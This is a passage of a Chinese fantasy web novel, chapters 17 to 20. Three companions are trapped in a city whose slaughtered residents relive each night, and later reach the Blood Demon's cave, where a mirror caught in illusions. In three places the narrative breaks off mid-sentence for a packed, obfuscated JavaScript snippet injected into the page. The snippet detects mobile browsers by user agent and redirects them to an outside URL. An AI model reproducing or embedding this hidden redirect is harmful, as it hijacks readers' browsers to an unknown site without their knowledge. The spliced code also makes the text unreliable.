陆昭不会骑马,闻晧跳上马背,特地留了一个心眼,悄悄用眼角余光看余锏上马了没有。很好,没有。他赶紧对陆昭伸出手,“老陆,坐我的。” 话还没说完,眼前的陆昭就没了。 余锏居然一把捞过他,托到了马上! 他上马的动作干净利落,眨眼的功夫就坐到了陆昭身后,两只手圈着马缰,像是没有动作,马儿却调转方向,往城外去。 闻晧赶紧追了上去,回头跟赵松打招呼:“赵大哥,有缘再见!” 赵松用力挥手,“有缘再见!” 晨间的风带着青草香气。 陆昭忍不住深深地吸了一口。连日以来紧绷的神经得以舒缓。 余锏垂眸看他的发顶,两个旋,左右各一个。 染成栗色的发根已经长出新发来了,像春天冒的新芽。 “余锏。” 余锏没应答。注意力放到了他说话时被牵引的侧脸肌肉上。 “我能不能求你一件事?” “求?” 陆昭从这个字里听出了点“可笑”的意味。 毕竟他是一个普通人,而余锏实力比他强多了。换到武侠小说里,他就是一个平平无奇的路人,余锏和闻晧是江湖大侠…… “嗯,求。”陆昭点头。 余锏用力夹紧马腹。陆昭因为惯性,向后撞到了“铁板”。 马在官道上疯跑。 “求我什么?” 陆昭听见头顶他淡淡的声音。 他不由得笑了起来,心知他们是朋友。这句反问就是对他们友谊的肯定。 “如果遇到危险,不要管我,先杀血魔。” 陆昭说完,眼睁睁看着迎面有一条树枝。余锏却没有减速也没有躲避,径直过去了。 树枝跟鞭子似的抽了下他的脸颊。 有点疼。陆昭抬起手抹了一下脸,被刮出一条细小伤痕,一点点血。 他当然不会觉得余锏是故意。 “为什么?” 陆昭敏感地觉察到了余锏的“不高兴”。 他不明白,所以解释:“血魔死了,老闻就可以带着他的尸体去醍醐天,他们就会救他。” “那你呢?”余锏话里毫不掩饰的嘲弄,“你就——死了?” “也不一定会死。”陆昭很乐观,他只是让余锏优先杀血魔,不代表他就要送命。 而且余锏也有要从血魔手上拿回来的东西,陆昭关切道:“还有他从你那里偷走的东西,你也先拿回来。” “你倒是挺为他人着想。” “也没有。”陆昭只是感念他们俩这一路给自己的帮助。他最初的目的无法实现,要是能帮助别人实现愿望,好事一桩。 “你。”余锏只说了这个字。 陆昭继续说:“而且血魔死了,我也能拿到沧海镜。”回到现代。 “前提是你还活着。”听上去没好气。 “你觉得我会死?”陆昭仰起头看他。 双目交错。 余锏先挪开了视线,马儿不小心跨过了一块石头,逼得陆昭也直起脊背。 他攥着马缰的手背青筋暴起,“不会。” 在陆昭看来这就是答应了。有余锏帮忙,杀掉血魔的可能性更大。只要有“投名状”,闻晧就可以活下来,还可以实现梦想。 “谢谢你。”陆昭由衷地感谢。 他还要说“你是个好人”。 余锏抬手揪了一下花团锦簇的树枝,陆昭张嘴就吃了满口花。 “有虫子。”前者冷冷地解释行为。 陆昭忙着吐花瓣。 “余老兄,你等等我啊倒是——” 闻晧急死了,都是一个妈生的马,为什么他的跑那么快! 一天一夜后。 余锏开始放慢速度,闻晧才得以赶上。一路上除了休息时,其他时候这人提起陆昭就走,让闻晧一顿好赶。 原因无他。一座城池近了。 闻晧这次学乖了,没有鲁莽地冲进去。谁知道这是不是又一座“通城”。 陆昭耸了耸鼻子。 他脸色渐渐难看起来,“余锏,你闻到了吗?” 好浓的血味。 闻晧驭马并肩,捏住鼻子,“老陆,这血腥味也太大了!” 陆昭:“我进去看看。” “那可不行!”闻晧“驾”地一声,冲进城门。 余锏不疾不徐地让马踱着走。 陆昭担心闻晧,“余锏,快点跟上他。” 余锏好像听不见。 幸而闻晧又骑着马出来了,满脸惊惧,“老陆,不、不好了,里面到处都是死人!” 马蹄在地上开血花。 三人将马留在城门。闻晧开路,用力推开另一扇城门。 风将更浓重的血腥味带了过来。 已是让人闻着反胃想呕的程度了。 街道上到处都是血。 尸体横七竖八的,看衣着是衙门的官兵。 死法各不同。或腰斩,或斩首,或四肢和身体分家……陆昭不得不用一块干净的布做了一个蒙面罩。 闻晧也跟着弄了一块。陆昭问余锏,后者摇了摇头。 闻晧瓮声瓮气,“怎么会死了这么多人,感觉整座城都空了。” 现在正是白天,日头最盛的时候。 城里却静悄悄的,所到之处都是沉默的死者。 通城虽然变成鬼城了,好歹逃了许多人,只是空空如也。 榆城距离鬼城一步之遥,被三人拉回来了。 而这阳城,遍地死尸、无一生还,才是真正的鬼城。 过了大概半小时,三人来到一座酒楼前。 牌匾上写着“望雪楼”。 闻晧思索,“老陆,不知道从这上面能不能看见血魔的藏身之处。” 陆昭:“上去看看。” 酒楼里也都是死去的人。 奇怪的是,大多数人是食客,围桌吃着饭,像突然被割喉。血漫了一地。 桌上的饭菜还热腾腾的。仿佛刚发生不久。 小二的尸体横在楼梯上。闻晧小心翼翼地把他扶起来,靠着栏杆。 陆昭察觉余锏停下脚步,转过头,看他盯着窗外,“余锏?” 余锏收回视线。没解释,跟着陆昭上楼。 三人来到了顶楼。望雪楼视野开阔,在此处眺望,可将整座阳城尽收眼底。陆昭极目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358325|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远眺,果然看见了连绵不断的雪山。 他在心里回想梦里望雪楼的位置,试着找出是哪一座雪山。 脸侧一只手指着两点钟方向。 是余锏。陆昭在心里模拟了一下这个方位,确信是对的。 闻晧看着下面,发现不止是街道,就连民宅里也都是东摊西倒的人。他不敢想,究竟是谁这么狠,一口气将一座城上万人都杀了? 这时,三人都听见从深巷里传来的梆子声。 咚、咚!两下。 “关门关窗,防偷防盗——” 有人声高唱道。 闻晧诧异,“现在是白天,怎么有打更人?” 话音方落,天黑了。 是以渐渐从白天转向黑夜,仿佛慢放的电影。 这时,陆昭听到了嘈杂声,在背后。他转过头,惊讶地发现死去的人一个个“活”了过来。 他们的生命也跟天色般,倒转一圈。伤口愈合,双眼重回神采,躺倒的人站了起来,死去的人活了过来。 店小二打翻的酒水回到了食盘上,食盘回到了他的手上。 每个人都回到生前的状态的瞬间,齐刷刷地动了起来。 “老陆,你看下面!”闻晧惊呼。 街道上的官兵手举火把,有条不紊地夜间巡逻。反倒是打更人却没出现。 酒楼里热闹非凡,灯火通明。 三人像闯入宴会的宾客,引起众人注意。 店小二凑过来,“三位客官可是来吃饭的?望雪楼今晚客满,若三位不介意,还请稍等一会儿。” 闻晧举起一根手指,谨慎地戳了戳小二。 小二困惑:“客官?” “活的。”闻晧重重地松了口气。 “我当然是活的了,客官您可真奇怪。”小二以为跟他开玩笑。 陆昭觉得这里很奇怪,“听说望雪楼上能看美景,我们只是上来看看,这就走。” 他决定先出城。 余锏没意见。闻晧本来想到处打听一下,闻言先听陆昭的。 三人离开了望雪楼。路上遇到巡逻的官兵,以为会被盘问,没想到只是看了他们一眼便走开了。 城门紧闭着。无人看守。闻晧觉得奇怪,走上前,却被一股力量弹了回来。 这感觉再熟悉不过。又是一堵“看不见的墙”。 他们被困在这里了。 闻晧思维开始发散,“不会又有鬼吧?” 陆昭觉得最后一块碎片在血魔手中,还是最关键的。他不会交给别的鬼。而且沧海镜只与执念深重的鬼结契。血魔并不符合这条件。 听他解释完,闻晧觉得很有道理,“可我们现在被困在这里,这明显是鬼魅做的。” “不一定。” 余锏突然开口。 闻晧稀奇,“余老兄,你是说人也做得到?” “丧魂。” 他的意思是颠倒日夜、囚禁一城的人是丧魂做的。 闻晧觉得丧魂确实对血魔忠心耿耿,但不管是一开始被抓,还是后来在通城遇见,丧魂对他们的威胁都不大。 在闻晧看来,丧魂还没赵阿夭和王慧可怕。 闻晧:“余老兄,我觉得你还是高估那家伙了。他也就只能给血魔抓抓人,哪有这么大本事。” 陆昭想到了白天的打更人,“如果这一切是丧魂做的,那他可能就是白天打更的那个人。是不是找到他,我们就能出去了?” 余锏不置是否。 闻晧觉得很有道理,“那我们现在就去找打更人!” 他走在前面。 陆昭跟上,忽然听见余锏对他说:“你已经拿到了两块碎片。” 18. 第 18 章 三人回忆着白天声音的来源,在城中寻找。 偶尔遇到巡城的官兵,看不见三人似的,仍在街上走。 闻晧试着敲民宅的门,奇怪的是里面明明有人声,却没人开门。 他还想翻墙进去,被陆昭拦住了。 不知道转了多久,三人忽然听到隔着大概几条巷子的地方传来梆子和锣声: “咚!咚!咚!咚!”四下。 打更人唱道:“夜深了,该歇息了!” 天色骤然变换,从黑到白。 天亮了。 三人还站在小巷里,闻晧赶紧走出去,呼喊陆昭来看。 街上又满是血和官兵的尸首,横七竖八的。 城门还是紧闭。无形的墙还在。 回到望雪楼,一切恢复原状。桌上的饭菜还冒着热气,人却都死了。 陆昭注意到:“打更人说的话改变了。” “他敲了四下,说明是二更了。”闻晧解释道。 陆昭不是古人,一开始没想到这一点,“那句‘夜深了,该歇息了’是二更该说的话?” 闻晧迟疑地点了下头。他哪有注意过这些。 陆昭有不好的预感,“这些变化有什么意义?” 余锏忽然开口:“沧海镜不在这里。” 陆昭当然知道沧海镜不在这里。 余锏说困住他们的是丧魂,而沧海镜在血魔手中。这意味着他们是被丧魂困住了,必须离开这里才能拿到沧海镜。 陆昭站在望雪楼顶楼的眺望台,又看见了那座雪山,“老闻,我们分开搜寻吧。” 闻晧不同意,“我倒是没问题,你一个人太危险了。” 余锏站到了陆昭身边。 陆昭自然而然道:“我跟余锏一起,老闻,你一个人没问题吧?” 闻晧看了看余锏,看了看陆昭,心底有一丝不爽但又说不出为什么,他当然不能被陆昭看扁,“我?我当然没问题!” 三人分成两队,搜寻城中的巷子,希望能找到打更人的线索。 陆昭在街上仔细观察官兵的尸首。 他已经适应了这浓重的血腥味,不用戴面罩也可以。 余锏在一旁看着,视线偶尔落到他紧蹙的眉心。 “他们都是被一刀毙命。”陆昭指着自己的脖子,看向余锏,“余锏,我们去那边看看。” 巷子跟夜晚看到的没有区别。 民宅的门和窗户紧闭着,到处静悄悄的。 遍寻无获时。天又黑了,官兵在大街上巡逻,民宅里人声鼎沸,望雪楼热闹非凡。 陆昭和闻晧约定好天要是黑了就在望雪楼见,当下便赶到楼上。 奇怪的是他没有看到闻晧。 小二凑过来,“两位客官可是来吃饭的?望雪楼今晚客满,若三位不介意,还请稍等一会儿。” 一模一样的说辞,只是从“三”变成了“两”。 陆昭问他:“我在找一个朋友,大概这么高,穿着带点青的衣服,你有没有见过他?” 小二想了想,摇头道:“不知道客官在说什么。” 陆昭急切起来,忽然他听到了闻晧的声音。 循声过去,发现他不知什么时候坐到了酒桌上。 十几个人围着一桌好菜、举杯豪饮。闻晧就在其中,手里端着大碗酒,热络地招呼其他人:“喝,大家都喝!” 陆昭喊住他,“老闻!” 闻晧就跟没听到似的,只顾埋头喝酒。陆昭按住他的肩膀,他也只是转过头来,醉醺醺地打量对方几眼,“你谁啊?喝,都喝!” 他要拉闻晧起来,却发现后者好像屁股粘在了凳子上,千斤重,怎么也拽不起来。 这就是丧魂的规则? 天亮时这里没有一个人活着。闻晧成为其中一人,是不是代表天亮了他就会死? 陆昭可以赌,但闻晧是他的朋友,赌不起。 这时,陆昭听到了望海楼外巷子里传来的梆子和锣声。 “咚!咚!咚!” 那声音听着都扭曲了,不怀好意:“夜静更深,小心火烛——” 三下。三更。陆昭不禁想起一句俚语: 阎王要你三更死,谁敢留你过五更。 满楼烛火都灭了。 陆昭眼前黑了一瞬,再亮起来时,是窗外的天光。 滴答、滴答。 血滴落在地上的声音很刺耳。 陆昭险些不敢去看。他怕看到闻晧跟其他人一样被剌了脖子,倒在桌上。 但他还是看了。 闻晧趴在桌子上。他的脖子上没有伤口,身下没有血,只是晕过去了。 陆昭赶紧摇他。还靠近去探,发现闻晧呼吸平稳,睡如死猪。 没事就好。他想把闻晧从一桌死人拉出来。 “……昭。” 陆昭扭脸看余锏。 后者平静地用滴血的指尖指窗外,“你的时间不多了。” 陆昭一下子明白是余锏救了闻晧。 他忍不住看余锏的手,“你的伤……” “已经三更了。” 这句话让陆昭一下子想到了俚语。 “阎王要你三更死,谁敢留你过五更。”他反复这句话。 余锏撩了一下眼帘,没说话。 陆昭意识到了一个致命错误。 他已经拿到了两块沧海镜碎片,而这正是血魔要的。 这个陷阱是丧魂布下的,丧魂手中没有沧海镜碎片。 他被惯性思维绕进去了。 因为前两次遇到的赵阿夭和王慧都用了沧海镜的力量,受沧海镜约束。陆昭才能找出规则,用规则打败他们。 可丧魂不受约束。 陆昭对“血魔”和“血魔的手下”压根没有概念。 他不知道这些人有多可怕。 原来,杀人,可以没有理由。 余锏看着陆昭的神色变化。 从困惑,到沉静,再到懊恼,最后又沉静下来。 陆昭:“余锏,你能赢得过丧魂吗?” “赢?”余锏嗤了一声。 陆昭看他滴血的指尖,心想自己还是太为难他了。 余锏盯着他的神情,倦倦地皱了下眉。 心念在瞬间而动,“有一个办法,但需要你牺牲一些东西。” 陆昭不假思索,“什么办法?” 他不问代价问办法。余锏不语。 这时,两人都听到了巷子里的梆子和锣声。 “咚!咚!咚!咚!”四下。 “天寒地冻——” 三更到四更之间时间很短。 一个愣神,天又黑了。望雪楼又热闹起来,闻晧像醉酒的人刚醒过来,“头好晕,老陆,我怎么坐下了?” “老闻,你刚才去哪里了?”陆昭问。 “我跟你们分开之后到处找那个打更人,然后在巷子里……对,我看到他了!”闻晧激动地说,“就是丧魂那家伙!” 打更的就是丧魂。他拿着梆子和锣,一个劲地敲。被闻晧发现之后不慌不忙地继续敲。 闻晧要冲过去干他,却在最后一声锣落下时昏倒了。 陆昭一愣,“因为你发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386152|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他,所以才被他困住?” “困住?他哪里困住我了?”闻晧抬袖看自己的手脚,再看一桌子死人和饭菜,忽然意识到什么,嘴唇发白,“老陆,我、我不会跟他们一个下场吧?” “差一点。”陆昭庆幸而后怕,“是余锏救了你。” “余老兄,谢谢你了啊。”三番四次被余锏所救,闻晧觉得自己实在不应对他有偏见。余老兄是个面冷心热的好人。 陆昭思索,“从我们进来,就落入了丧魂的手中。他可以随时拿走我们的命,可为什么是你见到他之后才被困?” 闻晧跳起来远离了这桌子。 陆昭看向余锏,“或许我们不应该找到他,找丧魂反而是错的。” 他心里萌发出一个大胆的想法,“如果我们就待在望雪楼,直到‘天亮’,会发生什么事?” 余锏眸光翕闪。 “已经四更了。” 闻晧没听懂他们在说什么,“什么四更了?” “老闻,我觉得我们不应该找丧魂,找到他,就会变成这个循环里的一部分。阎王要你三更死,只要坚持过四更、五更,天亮了就好了。” 话虽这么说,陆昭也不确定。 他不想肯定刚才的推论。 闻晧觉得陆昭说得有道理,“可我现在已经是他们其中一个了。老陆,不会天亮的时候我就死了吧。” “不会的。”陆昭声音低了下去。 他看余锏。嘴唇微微张了一下,想说的话没有说出口。 余锏却好像知道他要说什么似的,眼帘都懒得撩,“一次。” 陆昭难掩雀跃,激动道:“谢谢你,余锏。” 余锏转过脸去。 陆昭心里还有疑虑。 比如,丧魂没有沧海镜,他不受规则约束。他完全可以直接杀了他们,何必猫捉老鼠。 或许他设下的这个陷阱的力量也不属于他,是他借来的,他也受到更高规则的约束。可那更高是什么? 还有,从三更到四更的时间很短。这其中的间隔是由丧魂决定的,还是因为余锏救了闻晧,所以丧魂才刻意缩短了时间? 陆昭的思绪乱糟糟的。 不得不说,现在是他第一次意识到这确确实实是一个异世界。 一个他无法掌控的世界。 想到这里,陆昭忍不住攥紧了玻璃瓶。 或许,他确实应该回去。 接下去每一分一秒的等待都很煎熬。 奇怪的是五更一直没来。闻晧已经坐不住了,“我出去看看。” 陆昭恐他又撞上丧魂,拦住道:“再等等。” “老陆,你别太担心了,看到丧魂我就跑。”闻晧拍了拍自己的胸脯,“虽然我不如你们俩是什么极品血奴,但别忘了我一身毒,只要能被毒死血魔,也算不枉此行。” 这话提醒了陆昭。 “血魔需要血奴,也许这阳城就是一个巨大的牢笼?” 被困在这里的人跟他们最开始一样,都是被丧魂抓住囚禁起来的“血奴”。 闻晧大手一拍,“我觉得是!” 陆昭沉吟,“现在想想,他偷了沧海镜,最开始在阳城附近藏匿,为什么要跑到通城去。老巢那里有血池,他却要离开。丧魂一开始在通城抓人,没有去榆城,反而直接来了阳城……” “陆昭。”余锏打断了他的思绪。 陆昭怔了一下,“怎么了?” 余锏靠着窗栏,视线落在城中交错的阡陌巷落,“除我们之外,城里还有人。” 话音方落,一道剑光从巷陌中冲天而起! 19. 第 19 章 剑光追逐着一抹红色。 闻晧凑到窗边,他还只是个普通人,看不出真容。 陆昭只觉得眼前有什么晃了过去,像电视剧里演的特效一样,咻咻咻各种交锋,最后各自落到了屋顶上。 这下两人才看清了,竟然是丧魂和一个白衣男人。 白衣男人背对着他们,手持长剑,衣袂飘逸。 很符合闻晧想象中大侠的风范。 他顿时激动起来。看见远处又有几个人赶来时,几乎要跳起来了,“是醍醐天的人!” 醍醐天?陆昭很意外。醍醐天的人出现在这里,是为了抓住血魔吗? 他第一时间想到的是如果被醍醐天的人抓住了血魔,闻晧不就失去投名状了。 余锏微微挪了一下脚步,将大半个身体隐到墙后。 闻晧和陆昭聚精会神地盯着屋顶上的几人。 后来的人也穿白衣。明显没有白衣男人功力强,因为两人可以看见他们站在飞剑上。 几人说话声在安静的阳城里格外明朗清晰。 “丧魂,说出血魔在哪里,醍醐天或可宽大处理!” 女人举着佩剑,大拇指抵住剑鞘,剑芒出鞘,伴随着她的话,寒气四溢。 “胡师妹,跟他废话什么,万古愁的魔道凶恶,就算真说了也必不是实话!”旁边男人看向白衣男人,振振有词,“谈师兄,直接动手抓了他,重刑之下不怕他不开口!” 丧魂发出尖利笑声,“重刑?醍醐天竟已沦落到用我们魔道的手段了么,真是道貌岸然!” “魔修,还有脸说我们?这阳城本来有多少人,如今成了半个死城,都拜你所赐!醍醐天卫道除魔,不管做什么,都是局势使然!” 白衣男人抬手打断了男人的慷慨激昂。 “杨师弟,醍醐天绝不会学魔道的做派。丧魂,你别以为你不说,我就没办法知道。” 他的掌心幻化出一样法器,像纺锥。悬停着,缓慢转动。 “此锥可探你真心实话,容不得你撒谎。” 血色麻布盖住丧魂的脸,看不见表情。但白衣男人知道,他慌了。 并不说话,白衣男人左手提剑,瞬身而上。 同门加入战斗,与丧魂打得有来有回。 闻晧看得热血沸腾,忍不住挥舞拳头,为醍醐天弟子加油呐喊:“好啊,打他,给我报仇!” 不过十几个回合,丧魂便被击落了。 这么轻松确实让人意想不到。白衣男人皱了下眉,身后女人也不敢相信,“大师兄,丧魂不是血魔最得意的下属么,我们是不是赢得太轻易了?” “他受伤了。” 诧异不过一瞬。白衣男人落到地上,将剑抵住试图起身的丧魂下巴。 丧魂脸上的麻布颜色褪去,变成苍白色。 望雪楼上,余锏眉头扯了一下,“结界破了。” 陆昭诧异地看向他。 他忽然发现桌上的饭菜迅速腐烂,转眼就布满蛆虫、臭味熏天。死去的人脸上也长出尸斑。 结界破了,是说丧魂困住他们的陷阱失效了? 余锏:“丧魂被他们抓住了。” 这话提醒了陆昭。白衣男人显然有让丧魂开口的办法,要是被他们提前找到血魔,闻晧就进不了醍醐天了。 “老闻,我们去找血魔。”当机立断。 闻晧还沉浸在喜悦中,一时转不过弯来,“啊?可我们不是出不去吗?” “丧魂受伤了,估计他维持不了这个结界。”陆昭催促,不管闻晧怎么说,将他赶下楼。 幸好马还在城墙边。有了前面骑马的经验,陆昭已经知道向余锏递手。反倒是后者怔了一下,将他送了上去。 陆昭攥住马缰,自言自语道:“回去之后我一定要去学骑马。” 余锏的手紧了一下。用力夹紧马腹,马儿发出嘶鸣,朝城外跑去。 闻晧赶紧跟上,大声道:“怎么每次都这样,余老兄,你倒是慢一点啊——” 风也猎猎,吹着陆昭的脸。 靠近雪山,温度骤然冷了下来。余锏找方向很准,直奔山路。不多时,路上植被由茂转枯。马儿的速度也慢了下来。 闻晧追得吃力,紧赶慢赶终于赶上。 马只能爬到半山腰,再往上就不走了。陆昭立刻从马上跳下来,差点崴了脚。幸好余锏托住了他的胳膊。 他抬起眼,刚好撞进余锏的眼睛里。 一个“川”字在他眉心。 陆昭思绪发散出去:他不高兴? “走上去。”余锏下马。 闻晧依依不舍地跟马道了声再见,“为什么马不肯上去?” 陆昭猜测:“也许动物都有灵性,知道避开危险。” “动物知道,你不知道。”余锏破天荒地说起了风凉话。 陆昭不生气,还觉得新奇,“我是人,又不是动物。” 余锏看了他一眼。胸口起伏了一下,没说话。 幸好上山的路只有一条。伴随气温越来越低,沿途风景也染上素色。雪挂枝头,簌簌而落。 到山顶,陆昭看见了梦里的山洞。血魔应该就藏在里面。 他觉得奇怪。虽然陆昭没见识过血魔的本事,但身为一个魔头,他究竟受了多重的伤,才会放任三人走到这里。 “老陆,我先进。”闻晧收起了玩世不恭的神情,板着脸,走在最前面。 陆昭刚要说话,闻晧又给了他一个嬉皮笑脸,“你说我吃了珍稀药材,血里的毒会不会不够?万一没能杀了他,老陆,你帮我去南川县找一个叫闻不平的男人,告诉他我闻晧不是孬种。” 听上去应该是他的父亲。陆昭:“你杀了血魔,成功进了醍醐天,自己回家去跟他说吧。” 闻晧撇唇,“老陆,朋友一场,这点小忙都不肯帮。你放心,我一定先帮你拿到沧海镜。你还是赶紧回家吧,这个世界对你来说太危险了。” 陆昭愣了一下。 他想要闻晧能杀死血魔,进入醍醐天。而闻晧想着帮他拿到沧海镜,解开身上的毒,成功回家。 一股暖流在心中滋长。 “余老兄去哪里了?”闻晧忽然发现余锏不见了。 陆昭回头,只看见茫茫白雪。 余锏答应过他,会先杀血魔。而且他被偷走的东西还没找到,不会半途而废。 陆昭回身,却见闻晧也不见了。 风雪呼啸,骤然大了起来。 陆昭下意识攥紧了沧海镜碎片,眼看大雪封了退路,干脆直接走进山洞。 洞中阴冷。 水沿着岩壁往下流,滴答,滴答。每一下都敲在心上,扰人。 气温越来越低。陆昭感觉像被从头到脚浇了一桶冰水。身体不住地微微颤抖起来。 终于看到亮光。 丧魂将山洞里布置得还算舒适。不忘用骨头搭起陀罗最爱的白骨王座。 陀罗枯坐在王座上。他看上去比上次见到还要衰老,仿佛一副骨架支撑着一张皮。绵软地和宽大的衣服堆在一起。 陆昭一眼就看见了他手中攥着的沧海镜碎片。 陀罗费力地提起眼皮,发出嗬嗬笑声,“真了不起啊,一个凡人,竟有这等本领。你的所做所为,本尊都在镜中看见了。想不到,你竟能连破两局。” 他指的是赵阿夭和王慧。 陆昭:“我的两个朋友哪里去了?” “你还关心他们。”陀罗伸出枯槁如树枝的手臂,试图撑起自己的身体坐起来,但他还是太弱了,被厚重的皮和衣服拖着往下坠。 他手中最后一块沧海镜碎片因势而落,竟滚到了陆昭脚边。 这是陆昭一路上在追寻的东西,没有思考,他下意识弯腰拾起。 “哈哈!”陀罗哈哈大笑。 他眼神忽然凌厉起来,“真是多亏老天爷给我送来一个你,否则我还不知去哪里找一个合适的祭镜人。两个恶魂的执念可不足以填饱它,还需真正的血肉之躯,才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398029|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令它重开轮回。” 说话间,陆昭发现最后一块碎片主动跟他手中的碎片融合了。 变成了一面圆镜。如月轮般。 他的手臂有点痛。陆昭掀起袖子,看见红线已经长成了一朵花。 双叶一花,形似蔷薇。 余锏的话犹在耳边:“等它长成一朵花,你就会死。” 陆昭脚下突然失衡。 仿佛摔进深海,他眼睁睁看着周遭陷入黑暗,只有头顶一块镜面慢慢出现。透过镜面,他看见一双手将“自己”拿起,轻轻抚摸着。 无数只手穿过黑暗,抱住陆昭。 仿佛来自远古的声音在四面八方:“你想得到什么?” 是低语,是蛊惑。 陆昭不假思索:“复活我母亲。” 一只手蒙住了他的眼睛。 陆昭感觉手掌的老茧摩挲着他的眼皮。奇怪的是他觉得这是一双属于余锏的手。可余锏不可能在这里。 “错了。” 那声音反驳他。 陆昭不解,错了,哪里错了? 但声音并不同他解释。身后的手被黑色浸染,一涌而上,将他彻底拖入虚空。 · 闻晧跟陆昭说完话继续往前走,只是这山洞怎么这么长,像看不到尽头,他忍不住吐槽:“老陆,这山洞也太大了。不知道要走到什么时候——” 一边说一边回头。 他的话还没说完。因为陆昭不见了。 闻晧登时着急起来,返回洞口寻找。外面不知何时堆起了厚厚的雪,雪上没有足迹,说明陆昭并没有离开。 闻晧心焦如焚。陆昭一定是被抓走了。 老陆手无缚鸡之力,他要是落入血魔之手,肯定三两下就被吸成人干了。闻晧一想到他薄薄地挂在墙上就手脚冰凉。 他往山洞里钻,大喊道:“血魔,有本事你出来啊,针对我朋友算什么好汉,有本事你吸我!” 山洞里忽然弥漫起了浓雾。 像是从深处冒出来的。经历了赵阿夭和王慧两个厉鬼后,闻晧看到雾气就心里发毛。但想到陆昭身处危险,他横下心一头闯了进去。 浓重的雾像棉被,重重地盖在闻晧身上。他一头撞破后,看见远处有一扇纹样怪异的镂空铁门,门前似乎有人。 他以为是陆昭,但看身高不像。走近了发现,那分明是个孩子。 孩子的头发天然泛着栗色的浅,穿着卫衣和短裤,背对着他。 听到脚步声,他回过头来。一双杏仁般的眼睛明亮闪烁,一派的天真自然。雾气太大,打湿了他的刘海。发丝扒拉着额头,茫然的眼睛可怜兮兮的。 闻晧看见他身后的铁门通向一座大房子。路上还有铁做的秋千。 铁门右侧挂着一块大大的黄铜牌匾。写着“江河市儿童福利院”。 “哥哥,你见过我妈妈吗?” 小男孩问他。 闻晧好像忘了自己为什么出现在这里,他走到男孩面前,“哥哥没有见过你妈妈,不过你可以告诉我她长什么样子,我带你去找。” 雾气很冷。和空气夹杂在一起,吸进肺里,让闻晧忍不住打了个冷颤。 “我不记得了。”小男孩低下头,自言自语,“我想不起来妈妈的样子了。哥哥,你长什么样子?” 闻晧愣了一下,“啊?” 他长什么样子还要说嘛,这不是能看到。 他想了想,朝小男孩伸出手,“来吧,我带你去找。” 小男孩歪了歪头,看着闻晧的手掌,迟疑了一会儿,把自己的手放了上去。 闻晧牵着他的手,朝雾里走去。不知走了多久,他又回到了原地。牵着的小男孩不见了,闻晧茫然地站在原地。看向远处,又看到了大铁门和小男孩。 他走上前。小男孩问:“哥哥,你见过我妈妈吗?” 闻晧挠挠头,“我没见过啊,这样吧,我带你去找。” 他牵着小男孩,又走进雾里。 20. 第 20 章 陆昭坐在一只椅子上。 黑手把他死死地按在上面。 八面镜子围着他,其中五面是暗着的。 正对着的是陀罗的脸。他学梦里银发男人的样子打坐,不知吸纳了什么,模样慢慢年轻起来。从一堆皱着的老皮囊年轻了几岁,好歹能拄着拐走路了。 但他并不满意。恨恨地咬牙切齿:“天还不黑!” 他在等天黑?陆昭诧异。 另一面镜子里的人是闻晧,他像一只呆头鹅,跟着小男孩走进雾里,出来就忘记自己在哪里了,又问一遍,又走一遍。 陆昭盯着画面中“江河市儿童福利院”几个字看,自言自语:“这不是我想要的。” 但沧海镜并不听他说。右手边的镜子里,被困住的人是余锏。他同样也到了福利院,看见了小男孩,伸出手去。 “哥哥,你见过我妈妈吗?”小男孩问。 余锏的手停在半空,差点就攥住了小男孩的脖子。 “你……”他眼神有些复杂地打量着小男孩。 小男孩又重复了一遍。只要余锏不回答,他就一直问。 余锏看向铁门后的大房子。 他垂下眼帘,过得一会儿,问:“你不打算进去看看?” 小男孩就像听不到他的问题,仍然重复。 余锏:“我知道你妈妈在哪里。” 小男孩这才急切地问道:“那哥哥你可以带我去找吗?我妈妈往那边去了。” 他指着浓重的雾。 余锏:“不,她在那里面。” 他指的是铁门后的大房子。 小男孩摇头:“我看着她离开的,你在骗我。” 余锏竟然笑了,弯下腰,盯着男孩的眼睛,“没错,我在骗你,你要不要信?” 小男孩摇摇头,“哥哥,你要不帮我的话,你就走吧。” “我不走。”余锏一把提起他的领子,把他抱到怀里,伸手去推铁门。当然,铁门是推不动的。 他并没有放弃,莫名其妙地自说自话:“会有点痛。” 说着。指尖红线飞舞,缠绕住了沉重的门锁。 小男孩小脸皱成一团。 陆昭也感觉到椅子在震动。 这说明余锏已经找到他之幻境的“规则”了。这么快,陆昭却不意外。觉得很合理,毕竟余锏比他厉害太多。 反倒是一开始看见余锏“被困”,陆昭很惊讶。 红线彻底将门锁缠住,“咔”地一声。扯散了。 陆昭的手臂有点疼。他吃力地把发带往下扯,露出两片叶子。 其中一片凋零了。变得模糊。 铁门吱吱呀呀地往里开。 